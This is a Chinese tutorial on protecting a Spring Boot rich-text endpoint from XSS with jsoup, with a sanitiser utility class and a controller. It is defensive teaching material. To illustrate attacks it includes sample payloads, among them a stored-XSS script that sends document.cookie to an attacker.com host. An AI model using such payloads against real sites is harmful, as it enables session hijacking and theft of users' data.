springbpoot项目,富文本,xss脚本攻击防护,jsoup

XSS脚本攻击概述

XSS(Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过注入恶意脚本到受害者的浏览器中执行,从而窃取数据、劫持会话或破坏页面内容。XSS通常分为三种类型:反射型、存储型和DOM型。

反射型XSS

反射型XSS又称非持久型XSS,恶意脚本作为请求的一部分发送到服务器,服务器未过滤直接返回给用户浏览器执行。常见于URL参数、搜索框等场景。

攻击者构造一个包含恶意脚本的链接,诱骗用户点击:

html 复制代码
https://example.com/search?query=<script>alert('XSS')</script>

存储型XSS

存储型XSS又称持久型XSS,恶意脚本被保存到服务器数据库(如评论、留言板),当其他用户访问时触发。危害更大,影响范围更广。

例如,攻击者在论坛提交包含恶意脚本的评论:

html 复制代码
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

DOM型XSS

DOM型XSS不依赖服务器响应,而是通过客户端JavaScript动态修改DOM结构触发。攻击载荷通常隐藏在URL片段(#后)或本地存储中。

示例代码漏洞:

javascript 复制代码
document.write('<div>' + location.hash.substring(1) + '</div>');

攻击者构造URL:

html 复制代码
https://example.com/page#<img src=x onerror=alert('XSS')>

防御措施

输入过滤与转义

对用户输入进行严格验证,转义特殊字符(如<转为&lt;)。

内容安全策略(CSP)

通过HTTP头Content-Security-Policy限制脚本来源:

http 复制代码
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

HttpOnly Cookie

设置Cookie的HttpOnly属性,防止JavaScript访问:

http 复制代码
Set-Cookie: sessionid=123; HttpOnly; Secure

框架安全特性

现代前端框架(如React、Vue)默认转义动态内容,避免直接操作DOM。

实际影响

XSS可导致会话劫持、钓鱼攻击、恶意软件分发等后果。定期安全测试和代码审计是必要的防护手段。

pox.xml添加 jsoup

bash 复制代码
	<dependency>
          <groupId>org.jsoup</groupId>
          <artifactId>jsoup</artifactId>
          <version>1.21.2</version>
    </dependency>

创建XssCleanUtils工具类

bash 复制代码
package org.example.common.utils;

import org.jsoup.Jsoup;
import org.jsoup.safety.Safelist;
import org.springframework.stereotype.Component;


@Component
public class XssCleanUtils {

    /**
     * 清理富文本内容,保留常用HTML标签
     *
     * @param content 待清理的富文本内容
     * @return 清理后的安全内容
     */
    public String cleanRichText(String content) {
        if (content == null || content.isEmpty()) {
            return content;
        }

        // 使用宽松白名单,保留常见富文本标签
        Safelist safelist = Safelist.relaxed()
                .addTags("hr", "ins", "del", "mark", "small", "sub", "sup")
                .addAttributes(":all", "class", "id", "style")
                .addAttributes("a", "target")
                .addAttributes("img", "src", "alt", "title", "width", "height")
                .addProtocols("img", "src", "http", "https", "data")
                .addProtocols("a", "href", "http", "https", "mailto");

        return Jsoup.clean(content, safelist);
    }

    /**
     * 清理简单文本内容(严格模式)
     *
     * @param content 待清理的内容
     * @return 清理后的安全内容
     */
    public String cleanSimpleText(String content) {
        if (content == null || content.isEmpty()) {
            return content;
        }

        // 只保留基本文本格式标签
        Safelist safelist = new Safelist()
                .addTags("b", "strong", "i", "em", "u", "strike", "del", "ins")
                .addTags("p", "br", "span")
                .addAttributes("span", "class", "style");

        return Jsoup.clean(content, safelist);
    }
}

过滤文本

bash 复制代码
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import io.swagger.v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.tags.Tag;
import lombok.RequiredArgsConstructor;
import org.example.baens.Dynamic;
import org.example.baens.User;
import org.example.common.config.MinioConfiguration;
import org.example.common.utils.ApiResult;
import org.example.common.utils.UuidUtils;
import org.example.common.utils.XssCleanUtils;
import org.example.repository.DynamicRepository;
import org.example.service.DynamicService;
import org.example.service.UserService;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;

import java.util.Date;

@RestController
@Tag(name = "动态资讯接口")
@RequestMapping("/api")
@RequiredArgsConstructor
public class DynamicController {

    private final DynamicService dynamicService;

    private final RedisTemplate<String, Object> customRedisTemplate;

    private final MinioConfiguration minioConfiguration;

    private DynamicRepository dynamicRepository;

    private final XssCleanUtils xssCleanUtils;

    @PostMapping("/save/dynamic")
    public ApiResult<Dynamic> saveDynamic(@RequestParam String name,
                                          @RequestParam String content,
                                          @RequestParam(value = "imgUrl") MultipartFile imgUrl,
                                          @RequestParam String author
    ) {
    
        String cleanedContent = xssCleanUtils.cleanRichText(content);


        minioConfiguration.validateFile(imgUrl, "image/jpeg", "image/png", "image/webp");
        String minio_url = minioConfiguration.uploadToMinio(imgUrl, "dynamic");
        Dynamic dynamic = new Dynamic();
        dynamic.setId(UuidUtils.generate());
        dynamic.setName(name);
        dynamic.setContent(cleanedContent);
        dynamic.setImgUrl(minio_url);
        dynamic.setAuthor(author);
        dynamic.setStatus(1);
        dynamic.setCreateTime(new Date());
        dynamic.setUpdateTime(new Date());
        dynamicRepository.save(dynamic);
        dynamicService.save(dynamic);
        return new ApiResult<>(200, "添加成功", null);
    }

    @PostMapping("/save/image")
    @Operation(summary = "上传图片")
    public ApiResult<String> uploadImage(@RequestParam(required = false,value = "imgUrl") MultipartFile imgUrl) {
        minioConfiguration.validateFile(imgUrl, "image/jpeg", "image/png", "image/webp");
        String minio_url = minioConfiguration.uploadToMinio(imgUrl, "dynamic");
        return new ApiResult<>(200, "上传成功", minio_url);
    }

    @PostMapping("/save/video")
    @Operation(summary = "上传视频")
    public ApiResult<String> uploadVideo(@RequestParam(required = false, value = "videoUrl") MultipartFile videoUrl) {
        minioConfiguration.validateFile(videoUrl, "video/mp4", "video/avi", "video/mov");
        String minio_url = minioConfiguration.uploadToMinio(videoUrl, "dynamic");
        return new ApiResult<>(200, "上传成功", minio_url);
    }


}
相关推荐
_AaronWong13 小时前
Electron 实现仿豆包划词取词功能:从 AI 生成到落地踩坑记
前端·javascript·vue.js
cxxcode13 小时前
I/O 多路复用:从浏览器到 Linux 内核
前端
用户54330814419413 小时前
AI 时代,前端逆向的门槛已经低到离谱 — 以 Upwork 为例
前端
JarvanMo13 小时前
Flutter 版本的 material_ui 已经上架 pub.dev 啦!快来抢先体验吧。
前端
恋猫de小郭13 小时前
AI 可以让 WIFI 实现监控室内人体位置和姿态,无需摄像头?
前端·人工智能·ai编程
哀木14 小时前
给自己整一个 claude code,解锁编程新姿势
前端
程序员鱼皮14 小时前
GitHub 关注突破 2w,我总结了 10 个涨星涨粉技巧!
前端·后端·github
UrbanJazzerati14 小时前
Vue3 父子组件通信完全指南
前端·面试
是一碗螺丝粉14 小时前
5分钟上手LangChain.js:用DeepSeek给你的App加上AI能力
前端·人工智能·langchain
wuhen_n14 小时前
双端 Diff 算法详解
前端·javascript·vue.js